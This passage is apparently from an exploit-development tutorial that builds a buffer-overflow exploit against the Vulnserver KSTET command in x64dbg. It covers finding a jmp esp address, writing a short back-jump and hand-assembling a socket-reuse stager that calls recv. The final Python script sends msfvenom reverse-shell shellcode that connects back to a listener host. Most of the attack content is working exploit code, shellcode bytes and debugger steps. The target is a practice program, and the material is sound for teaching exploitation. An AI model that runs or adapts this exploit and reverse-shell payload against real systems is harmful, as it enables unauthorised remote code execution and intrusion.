
As the $esp register is pointing at the 20 byte island, the first thing we need to do is locate an executable area of memory that contains a jmp esp instruction which is unaffected by ASLR so we can reliably hardcode our exploit to return to this address.

In x64dbg, we can do this by inspecting the Memory Map tab and looking at what DLLs are being used. In this case, we can see there is only one DLL of interest which is essfunc.dll.

If we take note of the base address of this DLL (in this case, 0x62500000), we can then go over to the Log tab and run the command imageinfo 62500000 to retrieve information from the PE header of the DLL and see that the DLL Characteristics flag is set to 0; meaning no protections such as ASLR or DEP are enabled.

Now that we know we can reliably hardcode addresses found in this DLL, we need to find a jump that we can use. To do this, we need to go back to the Memory Map tab and double click the only memory section marked as executable (noted by the E flag under the Protection column).

In this case, we are double clicking on the .text section, which will then lead us back to the CPU tab. Once here, we can search for an instruction by either using the CTRL+F keyboard shortcut, or right clicking and selecting Search for > Current Region > Command. In the window that appears, we can now enter the expression we want to search for, in this case JMP ESP:

After hitting OK on the previous dialog, we will now see several instances of jmp esp that have been identified in the .text section of essfunc.dll. For this example, we will take the address of the first one (0x625011AF).

Now that we have an address of a jmp esp instruction that will take us to the 20 byte island after the EIP overwrite, we can replace \x42\x42\x42\x42 in our exploit with said address (keep in mind, this needs to be in reverse order due to the use of little endian).

Our code will now look like this:

import os
import socket
import sys

host = '10.2.0.129'
port = 9999

buffer =  'KSTET '
buffer += '\x41' * 70
buffer += '\xaf\x11\x50\x62'
buffer += '\x43' * 500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.recv(1024)
s.send(buffer)

s.close()

Before running the exploit again, a breakpoint should be placed at 0x625011af (i.e. our jmp esp instruction). To do this, jump to the offset by either double clicking the result in the References tab, or use the CTRL+G shortcut to open the expression window and enter 0x625011af.

Once here, toggle the breakpoint using the context menu or by pressing F2 with the relevant instruction highlighted.

If we now run the exploit again, we will hit the breakpoint and after stepping into the call, we will be taken to our 20 byte island of 0x43.

Now that we can control execution, we need to jump back to the start of the 70 byte island as mentioned earlier. To do this, we can use a short jump to go backwards. Rather than calculating the exact offset manually, x64dbg can do the heavy lifting for us here!

If we scroll up the CPU tab to find the start of the 70 byte island containing the \x41 bytes, we can see there is a 0x41 at 0x0110f980 and also two which directly precede that.

Note: This address will be different for you, make sure to follow along and use the address that is appropriate for you

We cannot copy the address of the first 2 bytes, but we can instead subtract 2 bytes from 0x0110f980 to get the address 0x0110f97e. Now, if we go back to where $esp is pointing and double click the instruction there (specifically the inc ebx text), or press the space bar whilst the instruction is highlighted, we will enter the Assemble screen.

In here, we can enter jmp 0x0110f97e, hit OK and it will automatically calculate the distance and create a short jump for us; in this case, EB B4.

We can verify this by either following the arrow on the left side of the instructions, or by highlighting the edited instruction again and clicking the G key to generate the graph view. If correct, the jmp should go to the start of the \x41 island.

We can now update the exploit to include this instruction before the \x43 island that was previously in place and replace the remaining bytes in both the 70 byte and 20 byte islands with NOP sleds so that we can work with them a bit easier later when we are assembling our exploit in the debugger.

After making these changes, the exploit should look like this:

import os
import socket
import sys

host = '10.2.0.129'
port = 9999

buffer =  'KSTET '
buffer += '\x90' * 70
buffer += '\xaf\x11\x50\x62'    # jmp esp
buffer += '\xeb\xb4'            # jmp 0x0110f97e
buffer += '\x90' * 500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.recv(1024)
s.send(buffer)

s.close()

If we execute the exploit again, we will now find ourselves in the 70 byte NOP sled that precedes the initial EIP overwrite:

Analysis & Socket Hunting

Now that the run of the mill stuff is finally done with, we can get to the more interesting part!

It should be noted, at this point I rebooted the VM that I was working in, which resulted in the base address changing from what is seen in the previous screenshots. Although this doesn’t affect the exploit as we are not using any absolute addresses outside of essfunc.dll, I am pointing it out to save any confusion should anyone notice it!

The first thing we need to do before we can start putting together any code is to figure out where we can find the socket that the data our exploit is sending is being received on. If you recall from the earlier section of this post, the function calls follow the pattern of socket() > listen() > accept() > recv() if a server is accepting incoming connections and then receiving data from the client.

With this in mind, we should restart the application and let it pause at the entry point (the second breakpoint that is automatically added) and begin to search for these system calls. As the Vulnserver application is quite simple, we don’t have to search very far. By scrolling down through the instructions we can find the point at which the welcome message is sent to the client (which is sent after the client connects) and the subsequent call to recv that precedes the processing of the command sent by the end user:

If we now place a breakpoint on the call <JMP.&recv> instruction and resume execution, we will be able to inspect the arguments that are being passed to the function on the stack.

Without any context, these values will make no sense. Thankfully, detailed documentation of these functions is provided by Microsoft. In this case, we can find the documentation of the recv function at https://docs.microsoft.com/en-us/windows/desktop/api/winsock/nf-winsock-recv.

As can be seen in the documentation, the signature of the recv function is:

int recv(
  SOCKET s,
  char   *buf,
  int    len,
  int    flags
);

This now allows us to make sense of the arguments that we can see sat on the stack.

  • The first argument (on the top of the stack) is the socket file descriptor; in this, case the value 0x128.
  • The second argument is the buffer, i.e. a pointer to the area of memory that the data received via the socket will be stored. In this case, it will store the received data at 0x006a3408
  • The third argument is the amount of data to expect. This has been set at 0x1000 bytes (4096 bytes)
  • The final argument is the flags that influence the behaviour of the function. As the default behaviour is being used, this is set to 0

If we now step over the call to recv, and then jump to 0x006a3408 in the dump tab, we will see the full payload that was sent by the exploit:

With an understanding of the function call now in hand, we need to figure out how we can find that socket descriptor once more to use in our own call to recv. As this value can change every time a new connection is made, it cannot be hard coded (that would be too easy!).

Before moving on, be sure to double click the call instruction and make note of the address that recv is found at; we will need this later. In this case, it can be found at 0x0040252C:

If we now allow the program to execute until we reach our NOP sled once more, we will run into a problem. When we look at where the file descriptor was initially on the stack when the program called recv (i.e. 0x0107f9c8), it is no longer there - our overflow has overwritten it!

Although our buffer reaches just far enough to overwrite the arguments that are passed to recv, the file descriptor will still exist somewhere in memory. If we restart the program and pause at the call to recv again, we can start to analyse how it finds the file descriptor in a bit more depth.

As the socket is the first argument passed to recv / the last argument to be pushed on to the stack, we need to find the last operation to place something on the stack before the call to recv. Conveniently, this appears directly above the call instruction and is a mov that moves the value stored in $eax to the address pointed to by $esp (i.e. the top of the stack).

Directly above that instruction, is a mov which moves the value in $ebp-420 into $eax (i.e. 0x420 [blazeit] bytes below the frame pointer). At this point in time, $ebp-420 is 0x011DFB50.

If we now allow execution to continue until we hit the breakpoint at our NOP sled and then follow this address through in either the dump tab or stack view, we can see that the value is still there.

Note: the socket file descriptor is now 120, rather than 128, this can and will change; hence why we need to dynamically retrieve it

As the address that the socket is stored in can [and will] change, we need to calculate the distance to the current address from $esp. By doing this, we will not have to hard code any addresses, and can instead calculate dynamically the address that the socket is stored in.

To do this, we just take the current address of the socket (0x011DFB50) and subtract the address that $esp is pointing at (0x011DF9C8), which leaves us with a value of 0x188, meaning the socket can be found at $esp+0x188.

Writing the Socket Stager

Now we have all the information we need to actually get to writing the stager! The first thing we should do, whilst it is fresh in mind, is grab a copy of the socket we found and store it in a register so we have quick access to it.

To construct the stager, we will write the instructions in place in the 70 byte NOP sled within x64dbg. Whilst doing this, we will need to jump through some small hoops to avoid instructions that would introduce null bytes.

First, we need to push $esp on to the stack and pop it back into a register - this will give us a pointer to the top of the stack that we can safely manipulate. To do this, we will add the instructions:

push  esp
pop   eax

Next, we need to increase the $eax register by 0x188 bytes. As adding this value directly to the $eax register would introduce several null bytes, we instead need to add 0x188 to the $ax register (if this doesn’t make sense, lookup how the registers can be broken up into smaller registers).

add   ax, 0x188

Note: when entering the commands interactively, it is important to enter values as illustrated above. If you were to enter the command add ax, 188, it would assume you’re entering a decimal value and automatically convert it to hex. Prefixing with 0x will ensure it is handled as a hexadecimal value.

We identified in the previous section that the socket was found to be 0x188 bytes away from $esp. As $eax is pointing to the same address as $esp, if we add 0x188 to it, we will then have a valid pointer to the address that is storing the socket!

If we now step through this, we will see that $eax now has a pointer to the socket (120) found at 0x011DFB50.

Next, before we start to push anything onto the stack, we need to make a slight adjustment to the stack pointer. As you are probably aware, the stack pointer starts at a higher address and grows into a lower address space. As the stager we are currently running from our overflow is so close to $esp, if we start to push data on to the stack, we are most likely going to cause it to overwrite the stager at runtime and cause a crash.

The solution to this is simple - we just decrease the stack pointer so that it is pointing to an address that appears at a lower address than our payload! A clearance of 100 bytes (0x64) is more than enough in this case, so we set the next instruction to:

sub esp, 0x64

After stepping into this instruction, we will see in the stack pane that $esp is pointing to an address that precedes the stager we are currently editing (the highlighted bytes in red):

Now that the stack pointer is adjusted, we can begin to push all our data. First, we need to push 0 onto the stack to set the flags argument. As we can’t hard code a null byte, we can instead XOR a register with itself to make it equal 0 and then push that register onto the stack:

xor   ebx, ebx
push  ebx

The next argument is the buffer size - 1024 bytes (0x400) should be enough for most payloads. Once again, we have a problem with null bytes, so rather than pushing this value directly onto the stack, we need to first clear out a register and then use the add instruction to construct the value we want.

As the ebx register is already set to 0 as a result of the previous operation, we can add 0x4 to the $bh register to make the ebx register equal 0x00000400 (again, if this doesn’t make sense, look up how registers can be split into smaller registers):

add   bh, 0x4
push  ebx

Next, is the address where we should store the data received from the exploit. There are two ways we can do this:

  1. Calculate an address, push it on to the stack and then retrieve it after recv returns and jmp to that address
  2. Tell recv to just dump the received data directly ahead of where we are currently executing, allowing for execution to drop straight into it

The second option is definitely the easiest and most space efficient route. To do this, we need to determine how far away $esp is from the end of the stager. By looking at the current stack pointer (0x011df95c) and the address of the last 4 bytes of the stager (0x011df9c0), we can determine that we are 100 bytes (0x64) away. We can verify this by entering the expression esp+0x64 in the dump tab and verifying that we are taken to the final 4 NOPs:

With the correct calculation in hand, we will once again push $esp on to the stack and pop it back out into a register and then make the appropriate adjustment using the add instruction, before pushing it back on to the stack:

push  esp
pop   ebx
add   ebx, 0x64
push  ebx

Finally, we have one last operation to complete our argument list on the stack, and that is to push the socket that we stored in $eax earlier on. As the recv function expects a value rather than a pointer, we need to dereference the pointer in $eax so that we store the value (120) that is in the address that $eax points to; rather than the address itself.

push  dword ptr ds:[eax]

If we step into this final instruction, we will now see that all our arguments are in order on the stack:

We are now at the final step - we just need to call recv. Of course, nothing is ever simple, we have another issue. The address of the recv function that we noted earlier starts with yet another null byte. As this null byte is found at the start of the address rather than in the middle, we can thankfully work around this easily with one of the shifting instructions.

Rather than pushing the original value of 0x0040252C, we will instead store 0x40252c90 in $eax (note that we have shifted everything 1 byte to the left and added 90 to the end). We will then use the shr instruction to shift the value to the right by 8 bits, which will result in the last byte (90) being removed, and a new null byte appearing before 40, leaving us with the original value of 0x0040252C in $eax, which we can then call with call eax

mov   eax, 0x40252C90
shr   eax, 8
call  eax

If we now continue execution and pause at the call instruction, we can see that $eax is pointing at recv:

And with that - our stager is complete! You can now grab a copy of the hex values to be added into the exploit by highlighting the newly added instructions and doing a binary copy from the context menu.

Finalising the Exploit

Now that we have the final stager shell code complete, we can place it at the start of the 70 byte NOP sled in our exploit. When doing this, we need to be sure that the island still remains at a total of 70 bytes, as to not break the overflow and to ensure that we have NOPs that will lead to the final payload.

Additionally, we will make the exploit wait a few seconds before it sends the final payload, to ensure that our stager has executed. Although any data we send should still be read even if it is sent before the stager calls recv as a result of buffering, my personal preference is to add the sleep in to be 100% sure - feel free to experiment with this if you’d rather not include it.

The exploit should now look like this:

import os
import socket
import sys
import time

host = '10.2.0.129'
port = 9999

stager =  '\x54\x58\x66\x05\x88\x01\x83\xec'
stager += '\x64\x33\xdb\x53\x80\xc7\x04\x53'
stager += '\x54\x5b\x83\xc3\x64\x53\xff\x30'
stager += '\xb8\x90\x2c\x25\x40\xc1\xe8\x08'
stager += '\xff\xd0'

buffer =  'KSTET '
buffer += stager
buffer += '\x90' * (70 - len(stager)) # nop sled to final payload
buffer += '\xaf\x11\x50\x62'          # jmp esp
buffer += '\xeb\xb4'                  # jmp 0x0110f97e
buffer += '\x90' * 500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.recv(1024)
s.send(buffer)

time.sleep(5)
s.send('\x41' * 1024)

For illustration purposes, I have opted to send a 1024 byte payload of \x41, so that we can easily verify that it works as intended when debugging. If we restart vulnserver.exe once more and step over the recv call in the stager code, we can see that the 1024 bytes of 0x41 are received and are placed at the end of our NOP sled - which will be subsequently executed:

Adding a Payload

With the exploit now finished, we can replace the 1024 bytes of 0x41 with an actual payload generated using msfvenom and give it a test run!

Below is the final exploit using the windows/shell_reverse_tcp payload from msfvenom:

import os
import socket
import sys
import time

host = '10.2.0.129'
port = 9999

# Payload generated with: msfvenom -p windows/shell_reverse_tcp LHOST=10.2.0.130 LPORT=4444 -f python -v payload
payload =  ""
payload += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
payload += "\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
payload += "\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
payload += "\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
payload += "\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
payload += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
payload += "\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
payload += "\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
payload += "\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
payload += "\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
payload += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
payload += "\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77"
payload += "\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
payload += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b"
payload += "\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
payload += "\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x02"
payload += "\x00\x82\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56"
payload += "\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c"
payload += "\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5"
payload += "\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
payload += "\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01"
payload += "\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
payload += "\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f"
payload += "\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08"
payload += "\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
payload += "\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
payload += "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"

stager =  '\x54\x58\x66\x05\x88\x01\x83\xec'
stager += '\x64\x33\xdb\x53\x80\xc7\x04\x53'
stager += '\x54\x5b\x83\xc3\x64\x53\xff\x30'
stager += '\xb8\x90\x2c\x25\x40\xc1\xe8\x08'
stager += '\xff\xd0'

buffer =  'KSTET '
buffer += stager
buffer += '\x90' * (70 - len(stager)) # nop sled to final payload
buffer += '\xaf\x11\x50\x62'          # jmp esp
buffer += '\xeb\xb4'                  # jmp 0x0110f97e
buffer += '\x90' * 500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

print '[*] Connected to target'

s.recv(1024)
s.send(buffer)

print '[*] Sent stager, waiting 5 seconds...'

time.sleep(5)

s.send(payload + '\x90' * (1024 - len(payload)))

print '[*] Sent payload'

s.close()
❌
❌